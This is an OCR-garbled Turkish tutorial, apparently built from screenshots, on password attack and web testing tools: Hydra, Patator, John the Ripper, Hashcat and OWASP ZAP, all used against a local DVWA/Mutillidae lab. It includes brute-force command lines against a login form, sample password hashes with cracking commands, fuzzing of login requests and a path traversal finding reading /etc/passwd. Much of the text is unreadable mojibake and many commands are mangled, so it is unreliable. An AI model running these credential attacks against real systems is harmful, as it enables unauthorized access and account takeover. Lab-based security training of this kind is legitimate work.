[] COMPLETE HELP [] service Module Usage Details [] Try login as password [_] Tryempty password [_] Try reversed login
hydra -v -l admin -p yourpass -t 16 -m /foo/bar/protected.html 192.168.1... . v | J




Target | Passwords | Tuning | Specific | Start Target | Passwords | Tuning | Specific | Start
ht[p—p[o)(y U[l/ h[tprproxy—ullenum Cfedential module VERDWUOL] FAayE TEUNTELLEU LU TTLLRLff TFL TUS. 124 1323/ UuVwWd/ WYL prip
WVERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
WWwW.suse.com VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
http / https url VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
\gin.php:username="USER"&password="PASS~&Login=Login:Login failed VERBOSE] Page red!re(ted to http://192.168.152.135/dea/log!n.php
= WVERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
== VERBOSE] Page redirected to http://192.168.152.135/dvwa/index.php

N P S,

password

sapr3 client id

1

CVS/SVN Repository
trunk

VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
LDAP DN VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
dn-scope VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
SMB VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php

[ local accounts [ domain accounts [ Interpret passes as NTLM hashes VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php

Telnet - Successful Login String

VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
- | [[VERBOSEI Paqe redirected to http://192.168.152.135/dvwa/login.php
801Thttp-post-forml host: 192.168.152.135 loagin: admin_password: pi
VERBOSE]| Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
VERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php
WVERBOSE] Page redirected to http://192.168.152.135/dvwa/login.php

SNMP VERBOSF] Pane redicected tn httn-//192 168.152.135/dvwa/leain.ohp
3:SHAAES:READ | Start | Stop Save Output Clear Output
hydra -v -ladmin -P /root/Wordlists/john.txt -t 16 -m /dvwa/login.php:u... | hydra -v -l admin P froot/Wordlists/john.txt -t 16 -m /dvwa/login.php:u... |
DN} FA1 FN}X&NlT AftS RS (dzZftlFyPOP IRP FRYAYZ OAFTNB
Patator:
t FGFG2NI FNFOP 0ANI 1ol 1dz@@dSi &l f RPNP I N OPRPNI

ISNDSJIANBOAL AND

+ ftp_login

+ ssh_login

+ telnet_login

+ smtp_login

+ smtp_vrfy

+ smtp_rcpt

+ finger_lookup
+ http_fuzz

+ pop_login

+ pop_passd

+ imap_login

+ Idap_login

+ smb_login

+ smb_lookupsid
+ vmauthd_login
+ mssql_login
+oracle_login

+ mysql_login

: Bruteforce FTP
: Bruteforce SSH
: Bruteforce Telnet
: Bruteforce SMTP
: Enumerate valid users using SMTP VRFY
: Enumerate alid users using SMTP RCPT TO
: Enumerate valid users using Finger
: Bruteforce HTTP
: Bruteforce POP3
: Bruteforce poppassd (http://netwinsite.com/poppassd/)
: Bruteforce IMAP4
: Bruteforce LDAP
: Bruteforce SMB
: Bruteforce SMB SHbokup
: Bruteforce VMware Authentication Daemon
: Bruteforce MSSQL
: Bruteforce Oracle

: Bruteforce MySQL



+ mysql_query : Bruteforce MySQL queries

+ pgsql_login : Bruteforce PostgreSQL

+ vnc_login : Bruteforce VNC

+ dns_forward : Forward lookup names

+ dns_reverse : Reverse lookup subnets

+ snmp_login : Bruteforce SNMP v1/2/3

+ unzip_pass : Bruteforce the password of encrypted ZIP files
+ keystore_pass : Bruteforce the password of Java keystore files
+ tcp_fuzz : Fuzz TCP services

JLIF GFG2N ¢ 1dA € FyPEFOF] LINRBG212(H fLINRG212F LI NI Y
mNYy S1Y

| SRST R2YIAYAY LRLlo LINRG212ftNYyS {lol 1dz@@SG al t R
patator pop_login]l 2 Ydzidz2 f I KFy3A LI NI YSGNBE SN ISNB1tA 2Vyd:

root@kali:~# patator pop_login
Patator v0.6 (http://code.google.com/p/patator/)
Usage: pop login <module-options ...> [global-options ...]

Examples:
pop login host=10.0.0.1 user=FILE® password=FILE1l ©=logins.txt l=passwords.txt -x ignore:code=-ERR

Module options:

host : target host

port : target port [110]

user : usernames to test

password : passwords to test

ssl : use SS5L [0]1]

timeout : seconds to wait for a response [10]
persistent : use persistent connections [1]0]

Host bilgisi, user ve password bilgisini girmemizyetaily S1 S RS 31 aiSNAf RAEA 3T
OAFTNB O0AfIAESNAYA R2ael 2fFNF]1 RI SSNBOAfANRT @

patator pop_login host=hedefdomainip user=FILEO password=FILE1 O=/root/user.txt
1=/root/password.txt {1 2 Ydzi dz&2 f I &1 f RPNP 3ISNbS1f SOGANAKE AN

5AESNI LINE (§ RYUAHASNE ¥ @A FSREE RS 12y FAINNBE SRSOAL ANE



Johntheripper
{Aa0SYRS Gdziidzt 'y LI NREFEFNPY 3ANDGSYfAEA AeAYyI @S
1dzf € FyPEIFNF] LI NBEFYPY GFYyPYyYFE@FEOF1Z {IFIN¥YFOPl @

FytFroPEtYFT RSESNAYS KIAKORBYRNIDRIE R NE KBS MNWIFLIFTNIIG
el TYSeS @INreltys 6AFNBE {PNXYI | N OPRPN®

A 4 oA

W2 KYGKSNRLILISNI 6 AN 021 KF&K GALX SNAYA cel TYS &8SGSy
1, SHA256, SHA12, DES, MD5 vs.)

9t RS SRAfSY O0AN)EIBNBEYPYIELA®KE PYDEPYD
sdrusr:$6$5f.f3pRDQu/3.up0%$/YBNPkMfzcKkPFqu2j9Hqlr.gpGmP9RwagMyT74U2Ah4pMZkeM1zq

.dz LI NREF tAYydzZE YF{AYFREY FEPYYPS O6ANJ LI NBE I @
SRAT YASGANID

ARNHzZASNY 1dzZ fI yPOP | RPYP GFyPYf I N

ilkA1TA P A&FNBOGAYAY | NFraPYRF1A &l &P KFy3IA KIFaAK |3

.dz A1 @8P ™M A &%56 @iseBHA wH ABMBA {I11A G SNR N

{2yNI 1A PQF 1FRFENJ 2ty RSESNI alfid RSESNARANID PQR

AYRA 2KWNIJIRNS OWRYy P yI aPt {(dzZ fFyPtlOFEPYIl o6F1FfPYD

Y dzf f Johfi TOPRONS] [PASSWORDRES) S1 A f A Y RSRA NI

{SeSyS1{tSNRAY yS 2t Rdz€Edzyl ol 1FfPYY

a2RS aS®SySeAy

-singleY &aAy3afS ONI O]l Y2R® .dz Y2R (dA fl yPN]J Sy 22Ky
Y A

kulay POP | RPYPY {1SYRAaAAXZ GSNEBAZ &A&aGS
odzZt Y&l el f POPN®

-wordlist}=FILEY 6ANJ al it Nl &I NRPYPe&ftl RSySYStSNAR &l LJI NX
—incrementalY NJ &G3SfS 1{FNXYIFIOP]l RSESNIS NNBGSNB]T O6AFN
HENKF y3A O0AN) Y2ZR &aSeSySer o6StANLYSIT asSy )2

incremental olarak denemeler yapar.

-format=NAMEY 6dz 4SSy S]] o6l&Si SftAyA
22KYQYPY OMAVFHBRWA (12 KRdeyelS KPIT f Iy
681 (S1 RSySvySeS ol tPolOF{dPN®

T —
-d puf

-showY a4S®eSySeAr &2ydz0dz SINIyl @SNBOS]TUOANW® . dz aSc
Jroot/john/fjohn.potR2 & & aPyl &l 11 O 1PN

AYRMSUENINI § RSGI&f I yYRPNIEPYO
A

TNBE R238F3aPYRIFITA KFaK RSESNR AcAy

John sifre.txt KF a
el £ PO PNBD.pdtRY/HABOMA PY F &+ 1 | NJ

john--show sifre.txt  /*sonucu ekrana basar

john--single sifre.txt



john --wordlist=password.Iss$ifre.txt

john ¢incrementalsifre.txt

john-format=rawmd>5 sifretxt ¢show

GAYR26a KIFaK | NYyS{1fSNRY

[a | FAK | NYySEAY

{AFTNBOIEG R2z2adl aPyRIFITA KIF&aKEf SN

admin:1011:DF12C9F2162249EAAD3B435B51404EE:099C037B843FDCA6489B03635E87EAT6:::

userl:1008:4E1FBO9BDD16A8F51AAD3B435B51404EE:FDC342B83B8A552C742B013E8A1BCA99:::
AFNBE SNRA  gohd -Soomateind Sfie.txty @AYzl dzy' dz { dzf £ I yYIF YPT &S {SNI

b¢[a | I &K mNYySEAX

Sifrel EG R2&é&F&PYRF{A b¢[a KIakt SNJ

admin:$NT$aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45¢c490f143d5f

user:$NT$78bccaee08c90e29aad3b435b51404ee:f9e37e83b83c47a93c2f09f66408631b

Jiohn -format=ntsifre.txt] 2 Ydzli dzy dz 1 dzf £ I yYYI | &ecBayeklisdne; | @SiG 21

Jjohn --format=nt ¢wordlist=mywordlist.Issifre.txt

a5p KL a Ks1$030M. SnBAKILYLQ/5XFI.MTp3gHv/

SHA-256: $5$MnfsQ4iN$ZMTppKN16y/tisUYs/obHIhdP.Os80yXhTurpBMUbAS

SHA-512:
$6$zWwWwWXKNj$gLAOOZCjcr8p/.VgV  /IFKGC3NX7BsXys3KHYePfulGMNjY83dVxugPYIxVg/evpcVE
JLT/rSwZcDMIVVf/bhf.1

Hashcat:
AN RAESNI OATFTNE KIFakK 1PNYIF FNYOP KIFI&KOIG | NI OPRF

Ydzt £ I YPYPY

Usage: hashcat [options]... hash|hashfile|hccapfile [dictionary|mask|directory]...

HashcatK St LI Af S (AN YA | ANSoaSyt SAINERS N

AT Sy aP{| (dadtlyPity aSeSyS{tSNR GFyPYtlL&lfPYO®

-m: Hash tipi #Hash tipini biliyorsak bu parametreyi kullanabiliriz. Hash tiplerini
FoF EPRIF GlFyPYtEL&lOFePl o

-a{lft RPNP Y2Rdz H & RPNP W2RIE | NPYP 6 PRI GFyPYT |
0.eBP R23d&l 4P

Hash modu:

0: MD5

100: SHA1



1440: SHA56

1700: SHA12

20 : md5($salt.$pass)

120 : shal($salt.$pass)
1420 : sha256($salt.$pass)
1720 : sha512($salt.$pass)
2500 : WPA/WPA2

12 : PostgreSQL

132 :MSSQL(2005)

1731 :MSSQL(2012)

300 : MySQL4.1/MySQL5
3000 | LM

1000 : NTLM

Karakter seti:

?1 = abcdefghijklmnopqgrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
2d = 0123456789

?s = ¢spaceée!+ #%KWaO[( \F_{}-

?a=7?1?u?d?s

?b=0x00 - Oxff

{IfRPNP az2Rdz 6! il O] az2R0

0 : Straight {1 TEtN]l FGFEP

1 : Combinator | R2aélyPy AceAYRS1TA 1SEAYSESNR (2Y0A
3 : Bruteforce | YIFol (dz@@Sid {IfRPNPAP

6 :Hybrid Wordlist+ Mask | { | T{INg | ASdz@d@SiG &l ft RPNPAPYP 06ANI SO

7 : Hybrid Mask + Wordlist | Y 6 1 dz@@SdG @S alltNl o0ANI SSGANRKNID
APTGUP F2NXIGPY

H Y LXTFAY 6F Pl KFEfAD

3 : hash[:salt]:plain

mNy S1t SNY

Hashcatm 0-a O hash.txtdicttxt | a5p 2fFy KIFaKQA al TPeRNHA ldf RP NF



Hashcatm 100-a 1 hash.txtcomb.txtl { | ' m Kl &KA 2fly OATFTNBE@A / 2Y0DGE
1SEAYSESNR OANDANRYS 12Y0AYS SRS

/| 2Y06 ®lEI R2aeél AaPYPy A®eSNAEA Fo6FEPRIF{A 3IAOA n {Sf

pass

12345

omg

Test

5SySYSaA [AG 28 B RIH{AG PANID
passpass
pass12345
passomg
passTest
12345pass
1234512345
123450mg
12345Test
omgpass
omgl2345
omgomg
omgTest
Testpass
Test12345
Testomg
TestTest

Hashcatm 1000-a 3 hash.txt 2u?I?I?121?d?d#NTLMolanhasi 1 F NI { 4G SNX A=~ . N&@N{ K
KENFZI W NIX1FY @S m I1TSt {F NI
1dz003SG alf RPNPaP &k LI NI 1 celT ¢

Hashcatm 1000-a 6 hash.txt dict.txt?2d?d?d?dosonuc.txt | b ¢ [ a Kl 8KA RAOGPGEGL O
rakamlarla hibritolara I £ RPN} OF { @S Pl GF
a2y dz00GEG R2&aélaPylt &FilFOoOllo

RAOUGPIEG R2a81F aPYPY AeSNAEA | 6FEPRIFTA 3IAOA 2f &dzy

password



hello

8l LI O eEP RSYSYSESNI Sl EPRITA TAOA 2f dzNID
password0000

password0001

password9999
hello0000
hello0001

hello9999



Zaproxy
%BSR !
OAf AAY

GFO01 t NRE
A

|.
I 2t Yl al

w

e

tos 256 aPiyYl
NI KFEdtPLEF |
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RI KA

Untitled Session - soder - OWASP ZAP 2.5.0

File Edit View Analyse Report Tools Online Help

[Standard Mode =) | ] & B B 7 & R @ T

B |

i=l=l=l WEC I AX-FY1 T Y §

@ sites | 4

j 7 Quick Start rT =» Reguest T Responsed e

@UEE

v ﬁ Contexts
Default Context

@ sites

A
Welcome to the OWASP Zed Attack Proxy (ZAP) N
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
Please be aware that you should only attack applications that you have been specifically been given permission to test.
To quickly test an application, enter its URL below and press 'Attack’,

)

URL to attack:  http://

4 Attack M stop

@ select...

3
Progress: Mot started A
< J T
J (=) H\smryT |, Search T U alerts T || Output | 4=
@ @ | Filter:OFF
Id | Req. Timestamp | Method | URL | Code | Reason | RTT | Size Resp. Body | Highest Alert | Note | Tags =]
i
-
3
v

Alerts 0 (W0 (WD WO

Current Scans 400 £0 20 @0 #o 0 Ho

%l LINREE& | N} OPY P
& dzy dzO dza dzPR ¥ A YA
t NPE& 2f | NI |
8T YlFyPl &S8iGSNI

Ubuntu Start Page Preferences

€

Firefox | aboukt:preferences#advanced

1dzt € I yYI ]

0 NPRyES NI AMNNGSS 16 Shocerdydzy dadtde | yNIosA £ A NJ
®@SNASZ &dzydzOdz 6Af IAE SNRA S TFHEFTFAE!

AceAy ONRSASNDPYRKSEBY LINEE &

A 2t O0F10§PND

¢ || search e ¥+ @

General Advanced @
Search
General Data Choices Network Update Certificates
Content
Applications Connection (3] . .
. |
B Configure how Firefox connects to the Internet
- Configure Proxies to Access the Internet
Security Cached Web Content ") No proxy
Your web content cache is currently using 963 kB of dit ) Auto-detect proxy settings For this network
S - .
Override automatic cache management Use system proxy settings
Limit cache to 350 MB of space O Manual proxy configuration:
B HTTP Proxy: | localhost Pork: I 8080/
Offline Web Content and User Data | Use this proxy server for all protocols
Your application cache is currently using 0 bytes of dis o s || | port: ol
v | Tell me when a web site asks to store data for offlj . r 1 port: [ ol
E roxy: ort: z
The Following web sites are allowed to store data For C > )
1 SOCKS Hosk: | Port: | ol5

) socksv4 @ SOCKSyS
No Proxy for:

| localhost, 127.0.0.1




wBltI &aa ASNIAFALFEP ééo dzéEIdzf FYFraP AfS OoNRgaSNI
KFEaGF 2t OFEPYRFEY oF€Efl yi 12|_J|-c'>|-1ij'PNJ:> . dzydz oYl
sertifikaexpoii SRAf A L) 0NB ga SN Py ANGSYE AN 111 ASNIAFALL

Y%l L) dz& 3 dzftoblssopioRsf RRIPY PYR& Wi YA O { { [& S cESNASAETAAY AR SiiyS 8% S NJ
kaydediyoruz.

Eile Edit wiew Analyse Reporl| Tools|Online Help
Standard Mode ¥] | Lo ol B 6 AR D8 DODE &V @ P X EkE e
@ sites | 4=
@ RE= " I
 Optioris 4 | pynamic ssL certificates @ ZAP T
v iﬁ Contexts Active Scan I y ( )
[kl Active Scan Input Vector i
@ Defeult Contex: X Spider P Root CA Certifica... | 2y CBg1 EnMCUGAL UEAweT1d8UL AghnVk TEFOGGFjayBQc & | | Web applications.
@ sites | " Generate | | TENBMRYWFAYDUQOHDAOZNTQWZTTyY2kMTk xHRYwFAYDVOQKDALP
Alerts |0 Generate | IENEMRoWGAYDVQQLDEFPYOFTUCBaQVAgUNSvd CBDQTELMAK GALLEE ally been given permission to test.
Anti CSRF Tokens & mport MAOGCSGGSTb3DQEBAQUAALTEDW AwggEK Ao TBAQC Wk a hScWSSZnE)
2P w gqHAHO77AEE7rNuBd 20503 Cx 28k dB7in0ri dn4BGFZCXBHXHEp T
Applications A/1sCIxEUOCGNR,/b1x0cIHIDP ISwy Jwgbwc GAQVGUM LIwvROrNy QG L
Breakpoints 61Atgxc07z0VbyRBqCwDz o 0dUMVXXByDL7+nBzcHItvbd 95hx PUSCE @ Select
f 21VWwQX0OpLnyPaHy rD00beaz4e JIE70GwwyGY2y foSc/+BtyvLEEC] = ;
Certificate QUDj pFy BKEaBa ] 0PUo8v 2 QnaqHzC1 QEd S+ FouBoe SpKO710q /uLi7k
Check For Updates ARG qgF+MI IBe j CCATMGAL UdDgSCAS0EQQENMIIBI j ANBgkghkiGs L
Connection AQSAMIIBCgKCAQEAOMIGo 4eXFlkvdpgOrs seSF+alkykh3RI0+wEBC v
Database w5dvIHQe4p IKANZUARNWO LWRLxwabTHUt TR 2cN]F/7bApcRFDghp 4 ¥
_ ; AGSechicIG73NAKLRLIpSMLOTqzckEN3tL72BX 0Sp+tQLYMADUBEF
J = History | i, Search | [¥ alert HVDFVBQbwy+/pwc3B/bb23f fYcT1EhopB3y ] 1LswNtVcEFzS58]
— eHidROSBsMMhmNsnEENP/ghc ry xBALSo7+ZgwYBY rOFA48Rc v ChGg
@ @ | Fiter:OFF Encode/Decode vah8wokBHe fnBLtKHuaSg+5dKy 710zN47nNTLOIDAQABMABGALUAE
- Extensions ATSwCWYDVROPBAGDAG2MCMGAL Ud 1QQcMBo GCCS GAQURBWMBBg g rE =
Id | Req. Timestamp | Mef Forced Browse VROLADANBgk ghk 1 GSwOBAQSFAADCAQEATTUL fbKwNSWNy Ty jHY Fh |Note | Tags |
Fuzzer BkMmIfdOrmvnG3,/987ENL1 BsfdDa39z 1z spwetGQzUGS7BhZo0RYEN A
Jobal lud ] OCP/TET/F2ixm4ntsXviCOjLybQlZwkSweZ1bzTNQLHE3KhZe7hQa o
Global Exclude URL (Bet: XDhZdvCT6wMaxKSZALqnuQMTEtDvaBA78xy cOMGCa3]+qfahRal/
HTTP Sessions gGsbQ/QAGVTbtYKpe AHUYLESUsCohnYOTRIP/ /MIQLTYY6581GAU
I a+dp/y /WnY200BA] jadFKnHy9plEqjIlstiadsROYWEZHZrPZLSTI
Keyooard || |- END CERTIFICATE----- .'/
Language
- 7 ¥
Local Prosxy L
Passive Scan Rules Sy, View ( H Save
Passive Scan Tags o
Scripts
Search
‘(\QDlnnulm - L]
[ ez | Wi s
L4

YFeRSGGAEAYAT &S NliPrefefefcesd Rdvariced> ACéidates> ViswNIeriifigakes R |
I R P Y Hryp&rt ediyoruz.

€ | ©Firefox | about| advanced < wAa ¥ #
General Advanced @
Sear
General Data Choices Network Update Certificates e
Content
Applications Requests ™ @ Certificate Manager
Privacy When a server requests my pe
. Select one automatically Your Certificates People Servers | Authorities = Others
Security @® Askme everytime You have certificates on file that identify these certificate authorities:
Syn Certificate Name Security Device B
¥ Query OCSPresponder se| v ac camerfirma S.A.
Chambers of Commerce Root - 2008 Builtin Object Token
. . ;| Global Chambersign Root-2008 Builtin Object Token
View Certificates | |»Accamerfirma SA CIF A82743287
Chambers of Commerce Root Builtin Object Token
Global Chambersign Root Builtin Object Token
rPACCY
ACCVRAIZ1 Builtin Object Token
+ Actalis S.p.A./03358520967
Actalis Authentication Root CA Builtin Object Token
* AddTrust AB
AddTrust External CA Root Builtin Object Token
AddTrust Class 1 CA Rook Builtin Object Token
View... EditTrust Export... Delete or Distrust..
OK




it LINRPEE AfS mMbpHOMpy DmpuHdmop 650 dz23AdzZ | YIF&PY!
@ LIIPlUGrY a2yN} %!t dz23dzA I YFYPI I IARAE2NHA @

my OSt A1 f S &eIR/da dd RIRE HNHZI SetBdakRA SA2NBNI | NI & |

JANRK e 2

dz2 3dzt | YI aPy Rl 0AT RSy Submian@@nfinoliefnékibheakipdrdiyerSkibit A & 2 NI

a2yNF 1A A&aGS€S 3ISeAe2Nud o

€ 192.168.152.135/

Untitled Session - soder - OWASP ZAP 2.5.0
Eile Edit View Analyse Report Iools Online Help

B — 3

aTackiede W CEBEE J20 000 000 &/ |(@r|exaem o

@ sites i 47 Quick Start | = Request | Responses= | i Break | 4=

Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,*/*;q=0.8
Accept-Lanquage: en-US,en;q=0.5

Cookle: PHPSESSID=57bBfc675fe7e079a5f877236b0c0e23

Connection: keep-alive

Upgrade-Tnsecure-Requests: 1

@HEDC [Method | v] [Header: Text |*] [Body: Text D=
7 5 Contexts GET http://192,168.152,135/ HITP/1.1 2
[ Default Context Host: 192,168.152.135 T
@ sites User-Agent: MozillasS.0 (X11: Ubuntu; Linux x86 64; rv:5S0.0) Gecko/20100101 Firefox/50.0

PLAS

J = H\EtoryT% Search T [ alerts T | Output T 2 Active Scan | ==

@ @ ' Filter:OFF

Id | Req. Timestamp | Method | URL | Code | Reason | RTT | Size Resp. Bo... | Highest Al.. | Note | Tags

5+21 Al&8FlIAPYRI 1dfflyPORSERBADGASEFNRNEANMNB BB A

(* Connecting... x

‘\
DVWA

Username

admin

Password

Login

Untitled Session - OWASP ZAP 2.5.0
Eile Edit View Analyse Report Tools Qnline Help

StandardMode v (| S M E i X R OEE OD0 & Y @ P 0 XEhmE 9

@ Sites | 4= [ 7 Quick Starﬂ = Request T Response = T 3% Break | 4

enE= [Method ] | Header: Text [v) [Body: Text B BO

'ﬂiiﬂﬂtem POST http://192,168.152.135/dvwa/login.php HTTP/1.1 4
&) pefault Context Host: 192,168.152.135 T

» @ msites User-Agent: Mozillas/S.0 (¥11; Ubuntu; Linux x86_64; rv:58.0) Gecko/28100101 Firefox/S0.@

Accept: text/htnl,application /xhtnl+xnl,application/xnl;q=0.9,%/#*;q=0.8

Accept-Language: en-US,en;g=0.5

Referer: http://192,168.152.135/dvwa/login.php

Cookie: security=high; PHPSESSID=7cbShlb25464a97bc2d18c747f6974cd

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded v
tant 21

username=admintpassword=adminLogin=Login |

TAGSRAEAY %It LINPE® RS RSEAOAIEA] @FLIPELFGALANI 2f¢

ddzydzOdz2 I 3I1 yYRSNBOAT ANAXT @



@S0 o6dzydz {Fol (dz@@SiG alf RPNPAP 2fF NI 1 ZSNS]T:!
MNY SEAYAT RS I RYAY LI aagniRefprN e KN 2d RiEihRdd2eyigzi @ (P

type olarakiiled SaeA L) 62 NRE AA0QAYAT AY @SNAYA &aSeAL) 62 NRf A

» Connecting M +
€ P 192168152135 X | |Q se *“B + A0
_ Y Lok n: |(@ root o (@] (@) (&) [E e
& soder.session.tmp [ soder.session.log
'y soder.session. properties
soder.session

[} soder.session.data
[ soder.session.Ick
Usermame

admin File ame:  john.nt

Password Files of Type: | Any File

[ Fuzz Locations | options | Message Processors |

Ede Edit View Analyse Repo(\ Tools Qnline ﬁe\p
[Standard Mode iw) | | b kd M - & S
Stes (5 Quick Start | = Request | Responses= POST http://192 163,152,135/ dvva/Login.php HTTP/1.1
[@stes] +] [ ovexstac T cavemt Tnaspores 157 527200
p I 215 - = User-Agent Nn‘ll\a/5 0 (X11: Wbuntu: Linux x86_64: rv:50.0) Gecko/
(“ o Method Header: Text T | oy e
¥ 5 Contexts PUST htp: /7192 168, 152 135/dwwa/login.php b || CCePL: text/hta
7 Default Context Host: 192.168.152.1 Jcetot-Langagel
» @ mstes Uner-Agent: WE11a/8.0 (L; Ubuntu; Lin
®
Accept: text/htal, apph:mwmn\m\ a)
Accept-Language: en-US,en; g0
Referer: http://192.168.152. l]s/dwi/'lagx Type: |Flle
Caokie: security=high; PHPSESSID-7cbSb1b2
Connection: keep-alive File:
Upgrade- Insecure-Requests: 1
Content-Type appu(auon/x www-forn-urle Character Encoding: |UTF-8

Header: Text w| \Body:Tet v ()| Fuz Locations:
D © 3% @ e ) | (HeaderTer i) (BodyTex i) | O

Lia|Va..|#o.. |#of.|8

usernane-adein M\vou,oqln—l ogin Um: (]
value:
o Comment Taken: #

Ignore Empty Lines: ||

22 NREAZAGQAYAT A S1ES8RALGSY a2y NRP Siafdd Rag@en o | 6
VEL&LEOAE AR2NUA ® dizé reshrs@body yLAlYE (RSIEFENIE YMoFA VS Y
| & NBR€pbnsetal Py Rl Rl 2 {GdzNHzY | cel 6Aft RAEAYAT A 3II N
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=
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>
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'Damn Vulnerable web... %

€ | @0 £ 192.168.152.135/dvwa/login.php e | |Q s
Untitled Session - OWASP ZAP 2.5.0
File Edit View Analyse Report Toels Online Help
[Standardiode D) | HH M E & D260 D88 OTE &9 @ e iEkE o
@ sites | 4=
(——
@OQEBEE |Header: Text |¥| |Body: Text v ==
¥ [ contexts HTTP/1.1 200 OK 4
[E] Default Context Date: Sun, Ol Jan 2017 20:01:27 GMT
» @ Msites Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntus.10
Pranma: nn-carha ¥
</div=> A

</div=

<div id="main_body">

<div class="body_padded"=

<hl=Welcome to Damn Vulnerable Web App!</hl>

<p=Dann Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn wulnerable. Its
main qgoals are to be an aid for security professionals to test their skills and tools in a legal
environment, help web developers better understand the processes of securing web applications and aid
teachers/students to teach/learn web application security in a class room environment.</p>

h2 WARNTNG! </h?s v
[ = H\stnryT% Search T ¥ alerts T | output TG Fuzer # # | 4
4# New Fuzzer - Progress; | 2: HTTP - http://192.168, /dvwaflogin.php .'] B o ] 2% | < current fuzers: 2 e
Messages Sent: 65 Errors: 0 ,:E) Show Errors
Task ID | Message Type | Code | Reason | RTT | Size Resp. Header | Size Resp. Body ¥ ||Highest Alert | State
200 OK 98ms 347 bytes 46 k
12 Fuzed 200 0K 295 ms 347 bytes 1,45 KiB meney
4 Fuzed 200 OK 192ms 347 bytes 1.43KiB computer
6 Fuzed 200 QK 339 ms 347 bytes 1.41 KiB tigger
19 Fuzed 200 OK 239ms 347 bytes 1.41 KiB service
53 Fuzed 200 QK 276 ms 325 bytes 1.41 KiB trustnol
34 Fuzed 200 OK 295 ms 347 bytes 1.37 KiB buster

P . e - —— —— e en - . ¥




%l t QPY RAESNI INcef N &l yP A akSnalizSapahiggorbtrbQuick staPy | R 2 €

I 0 QiR attackl £ F yPY Il FyFfATAYA &FLIYIFE]1 AalGAHRKEAYAI
0dzi2ydzyl GP1lf Peé2NHd @

= untitled Session - OWASP ZAP o

Elle Edit Wiew analyse Bepart Toals gnline Help

ATTACK Mode _jw) | ] k= bl B ) 456 ¥ A% ) 0 (DB D)0 d @ I P @ 5% G Ba o ) |
@ sites | < . Quick Start # | —+ Request | Responses— | ¢ Break | <& |

@ CJ B3

* 5 Contexts Welcome to the OWASP Zed Attack Proxy (ZAP)

[ Dafault Context

. ZAP is an easy to use integrated penetration testing tesl for finding vulnerabilities in web applications,
- P sites

Flease be awars that you should only sttack spplications that you have been specifically besn given permission to

To quickly test an application, enter its URL below and press 'attack,

URL to attack |http:/192.168,152.135 @ sela
# attack [ stop
Progress: Actively scanning (attacking) the URLs discovered by the spider

For @ more in depth test you should explore your application using your browser or automated regression tests wh

See the help file for more details

- T T
[ History | i search [ [®alerts [ | output | 3 active scan [ 3 spidar & = |‘[ 1

i New Scan  Progress: | O: http://182.168,152.135 || i1 W ac <# Current Scans: 0 URIs Foundi 5682 [ | Show Messages 6k
Processed | Methad | uRI | Flags =)

[ GET REtpi /192,168,152, 135/Awiki/bin/edit/Main/ZAFTt=1483301538 -

- GET hitpi/192.168,152,135/phpMyAdminfthemes/darkblue_orange/e.

— GET httpi/192.168.152 135/phpMyadminthemas/darkblus_orangs/c...

- GET http /192,168,152, 135/phpMyadminfthemaes/darkblues_orange/c

- GET http /182,168,152, 135/phpMyadminfthemes/darkblue_orange/c. ..

- GET hitp:/192.168,152,135/phpMyAdminthemesdarkblue_orangefi..

- GET httpi/192.168.152 135/phpMyadminthemassdarkblus_orangs/...

- GET http /192,168,152, 1 35/phpMyadminfthemaes/darkblue_orange/i

= GET httpi//192.168.152.135/phpMyadminfthemes/darkblus_orange/i... v
Alerts Pl 2 jus mo Current Scans 4w 2 0 » 3 @O0 W0 , 0 o

FNFYFE OAGGALGSY &2y N} FESNIAQE SNAYAT S oF 1Pe 2Nz

5 History | © search [ [ alerts # | | output | A Active Scan | % spider | 4
@ @ Path Traversal N
v & Alerts (8) URL: http://192.168,152.135/mutilidae/?page=%2Fetc%2Fpasswd N
¥ (&5 M Path Traversal (10) Risk: # High
g d g d Confidence: Medium
E GET: http://192.168.152.135/mutillidaefindex. php?choice=nmap&initials=ZAP&page Farameter: page
[ GET: http:/192.168.152.135/mutilidaefindex php?do=toggle-hints&page=%2F stcse] Attack: fete/passwd
[ GET: http:/192.168.152.135/mutilidae/index php?forwardurl=https 3% 2F% 2Fwww. | | =Vidence: raat::0:0
[ GET: http://192.168.152.135/mutillidaefindex. php?page=%2Fetc%2Fpasswd Sxich‘D :;
& GET: http://192.168.152.135/mutillidaefindex php?page=%2Fetc% 2Fpasswd&passwi DESCI’\p‘tIUI’]:
[ GET: http://192.168.152.135/mutillidaefindex php?page=%2Fetc% 2Fp. déuserns
[ POST: http:/192.168.152.135/mutillidae/index. php?page=source-viewer.php =
E POST: http:#192.168.152.135/mutillidae/index.php?page=sourcewviewer.php L L = L t tory. [
[ POST: http://192,168.152.135/mutlllidae/index, phppage=text file-viewer. php attacker may mampu\?te a uR\: in su:h a wayfhat th7e wsb SItE WIH exscute ar revea\ v
» [E3 P Application Error Disclosure (298)
» [ P X-Frame-Options Header Not Set (4675) Ctuenlnfo:
» [ v Cookie No HttpOnly Flag (155)
» [E§ v Password Autocomplete in Browser (130)
» [ 7 Private IP Disclosure (4660)
> ﬁHJWeb Browser XSS Protection Not Enabled (4595)
» (B Fu X-Content-Type-Options Header Missing (4692) Solution:
Assume all input is malicious. Use an "accept known good" input validation strategy,
i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject [
